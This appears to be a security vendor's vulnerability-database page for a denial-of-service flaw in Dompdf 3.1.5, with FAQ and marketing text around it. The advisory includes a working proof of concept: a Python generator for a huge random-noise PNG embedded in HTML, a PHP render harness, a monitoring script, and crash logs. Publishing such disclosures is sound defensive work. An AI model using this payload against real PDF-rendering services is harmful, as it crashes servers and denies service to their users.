How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

363,159

Total vulnerabilities in the database

CVE-2026-59942 — dompdf / dompdf

Uncontrolled Resource Consumption

Summary

Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive:

Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:

100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream.
Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details

The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept)

Install Dompdf v3.1.5 via Composer.

composer require dompdf/dompdf:3.1.5

Use the following Python script to generate the malicious payload (exploit.py):

from PIL import Image
import base64
from io import BytesIO
import os

DIMENSIONS = (30000, 30000) 
OUTPUT_FILE = &quot;payload.html&quot;

def generate_noise_bomb():
    print(f&quot;[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...&quot;)
    
    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
    image = Image.frombytes(&#039;L&#039;, DIMENSIONS, random_bytes)
    
    buffer = BytesIO()
    # Using PNG instead of JPEG to force full bitmap decompression in memory
    image.save(buffer, format=&quot;PNG&quot;)
    image_base64 = base64.b64encode(buffer.getvalue()).decode()

    html_content = f&quot;&quot;&quot;
    &lt;html&gt;
    &lt;body&gt;
        &lt;div style=&quot;overflow:hidden; width:1px; height:1px;&quot;&gt;
            &lt;img src=&quot;data:image/png;base64,{image_base64}&quot;&gt;
        &lt;/div&gt;
        &lt;h1&gt;PoC: Resource Exhaustion&lt;/h1&gt;
    &lt;/body&gt;
    &lt;/html&gt;
    &quot;&quot;&quot;
    
    with open(OUTPUT_FILE, &quot;w&quot;) as f:
        f.write(html_content)
    print(f&quot;[+] High-entropy payload saved to: {OUTPUT_FILE}&quot;)

if __name__ == &quot;__main__&quot;:
    generate_noise_bomb()

Use the following Python script to monitor the system resources in a separate terminal (monitor.py):

import psutil
import time

def start_monitoring():
    print(&quot;[*] Searching for PHP processes... (Press Ctrl+C to stop)&quot;)
    try:
        while True:
            for proc in psutil.process_iter([&#039;pid&#039;, &#039;name&#039;, &#039;memory_info&#039;, &#039;cpu_percent&#039;]):
                if &#039;php&#039; in proc.info[&#039;name&#039;].lower():
                    try:
                        pid = proc.info[&#039;pid&#039;]
                        mem = proc.info[&#039;memory_info&#039;].rss / (1024 * 1024)
                        cpu = proc.cpu_percent(interval=0.1)
                        print(f&quot;\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%&quot;, end=&quot;&quot;, flush=True)
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        print(f&quot;\n[!] CRASH DETECTED: Process {pid} terminated abruptly.&quot;)
                        return
            time.sleep(0.05)
    except KeyboardInterrupt:
        print(&quot;\n[*] Monitoring finished.&quot;)

if __name__ == &quot;__main__&quot;:
    start_monitoring()

Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:

&lt;?php
require_once __DIR__ . &#039;/vendor/autoload.php&#039;;
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options-&gt;set(&#039;isRemoteEnabled&#039;, true);
$options-&gt;set(&#039;isHtml5ParserEnabled&#039;, true);

$dompdf = new Dompdf($options);

$html = file_get_contents(&#039;php://stdin&#039;);

echo &quot;[*] Starting Dompdf rendering process...\n&quot;;

try {
    $dompdf-&gt;loadHtml($html);
    $dompdf-&gt;render(); // Point of resource exhaustion
    echo &quot;[+] PDF rendered successfully.\n&quot;;
} catch (Exception $e) {
    echo &quot;[!] Render failed: &quot; . $e-&gt;getMessage() . &quot;\n&quot;;
}

Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:

php -d memory_limit=2G render.php &lt; payload.html

The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.

Proof of Concept Results

https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b

The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.

Payload Generation:

python3 exploit.py 
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html

Target Execution & Denial of Service:

php -d memory_limit=2G render.php &lt; payload.html

Output
[*] Starting Dompdf rendering process...
PHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490

While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:

python3 monitor.py 
[*] Searching for PHP processes... (Press Ctrl+C to stop)
[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%

Key Findings from Telemetry:

CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.
Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.
Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.

Impact

An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.

Credits

Offensive Security Researcher: Fabian Rosales (far00t01).

Published: Jul 22, 2026
Updated: Jul 23, 2026
CVE: CVE-2026-59942
GHSA: GHSA-f5gf-2cj8-52g2
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

Affected Software
References

Software	From	Fixed in
dompdf / dompdf	-	3.1.6

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.